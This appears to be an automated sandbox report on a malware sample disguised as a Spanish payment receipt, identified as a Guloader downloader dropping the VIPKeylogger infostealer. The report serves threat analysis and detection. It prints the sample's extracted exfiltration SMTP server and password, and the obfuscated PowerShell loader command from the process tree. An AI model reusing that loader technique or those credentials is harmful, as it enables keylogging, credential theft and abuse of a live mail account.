Analysis
- max time kernel
143s - max time network
139s - platform
windows11-21h2_x64 - resource
win11-20250619-en - resource tags
- submitted
02/07/2025, 03:42
General
- Target JUSTIFICANTE DE PAGO.exe
- Size 696KB
- Sample250702-d9fswssms5
- SHA256 d487d18dcda397acab625d17fa3cea49f5ee428ab3dfe0c45921c3cdae715e5c
Malware Config
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
mail.actuagestores.es
-
Port
587
-
Username
-
Password
Xup85y5$
-
Email to
Signatures
- Guloader family
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Vipkeylogger family
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Blocklisted process makes network request 8 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Drops file in Program Files directory 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 23 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\JUSTIFICANTE DE PAGO.exe"C:\Users\Admin\AppData\Local\Temp\JUSTIFICANTE DE PAGO.exe"1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle minimized "$Kokrd13=gc -Raw 'C:\Users\Admin\AppData\Local\ngleben\balisaurs\uvederhftigheders\Insculping\Anormaliteters.Lbe';$Miniks=$Kokrd13.SubString(50758,3); .$Miniks($Kokrd13)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_bxszyjck.hrb.ps1
Anormaliteters.Lbe
Subspherically.Mal
memory/568-54-0x0000000007360000-0x0000000007371000-memory.dmp
memory/568-40-0x0000000006FA0000-0x0000000006FD4000-memory.dmp
memory/568-20-0x0000000005800000-0x0000000005866000-memory.dmp
memory/568-21-0x0000000005870000-0x00000000058D6000-memory.dmp
memory/568-18-0x0000000005060000-0x000000000568A000-memory.dmp
memory/568-30-0x00000000058E0000-0x0000000005C37000-memory.dmp
memory/568-31-0x0000000005DA0000-0x0000000005DBE000-memory.dmp
memory/568-32-0x0000000005E40000-0x0000000005E8C000-memory.dmp
memory/568-33-0x0000000006380000-0x0000000006416000-memory.dmp
memory/568-34-0x00000000062A0000-0x00000000062BA000-memory.dmp
memory/568-35-0x0000000006310000-0x0000000006332000-memory.dmp
memory/568-36-0x00000000073F0000-0x0000000007996000-memory.dmp
memory/568-17-0x00000000029E0000-0x00000000029F0000-memory.dmp
memory/568-38-0x0000000008020000-0x000000000869A000-memory.dmp
memory/568-39-0x000000007F7A0000-0x000000007F7B0000-memory.dmp
memory/568-56-0x00000000073B0000-0x00000000073C5000-memory.dmp
memory/568-41-0x000000006F500000-0x000000006F54C000-memory.dmp
memory/568-47-0x00000000029E0000-0x00000000029F0000-memory.dmp
memory/568-51-0x00000000071E0000-0x00000000071FE000-memory.dmp
memory/568-52-0x0000000007210000-0x00000000072B4000-memory.dmp
memory/568-53-0x0000000007330000-0x000000000733A000-memory.dmp
memory/568-15-0x00000000029E0000-0x00000000029F0000-memory.dmp
memory/568-19-0x0000000005000000-0x0000000005022000-memory.dmp
memory/568-55-0x0000000007380000-0x000000000738E000-memory.dmp
memory/568-72-0x00000000086A0000-0x000000000AA8F000-memory.dmp
memory/568-58-0x00000000073E0000-0x00000000073E8000-memory.dmp
memory/568-59-0x0000000007B40000-0x0000000007B6A000-memory.dmp
memory/568-60-0x0000000007B70000-0x0000000007B94000-memory.dmp
memory/568-61-0x00000000029E0000-0x00000000029F0000-memory.dmp
memory/568-63-0x00000000029E0000-0x00000000029F0000-memory.dmp
memory/568-16-0x00000000028C0000-0x00000000028F6000-memory.dmp
memory/568-65-0x0000000007C50000-0x0000000007C52000-memory.dmp
memory/568-66-0x00000000086A0000-0x000000000AA8F000-memory.dmp
memory/568-67-0x00000000029E0000-0x00000000029F0000-memory.dmp
memory/568-68-0x00000000086A0000-0x000000000AA8F000-memory.dmp
memory/568-69-0x00000000029E0000-0x00000000029F0000-memory.dmp
memory/568-70-0x000000007F7A0000-0x000000007F7B0000-memory.dmp
memory/568-71-0x00000000029E0000-0x00000000029F0000-memory.dmp
memory/568-57-0x0000000007AF0000-0x0000000007B0A000-memory.dmp
memory/4900-84-0x00000000008A0000-0x0000000001BB7000-memory.dmp
memory/4900-85-0x00000000008A0000-0x00000000008E2000-memory.dmp
memory/4900-86-0x0000000021FF0000-0x000000002208C000-memory.dmp
memory/4900-87-0x0000000022C80000-0x0000000022E42000-memory.dmp
memory/4900-88-0x0000000022AB0000-0x0000000022B00000-memory.dmp
memory/4900-90-0x0000000022BC0000-0x0000000022C52000-memory.dmp
memory/4900-91-0x0000000022B60000-0x0000000022B6A000-memory.dmp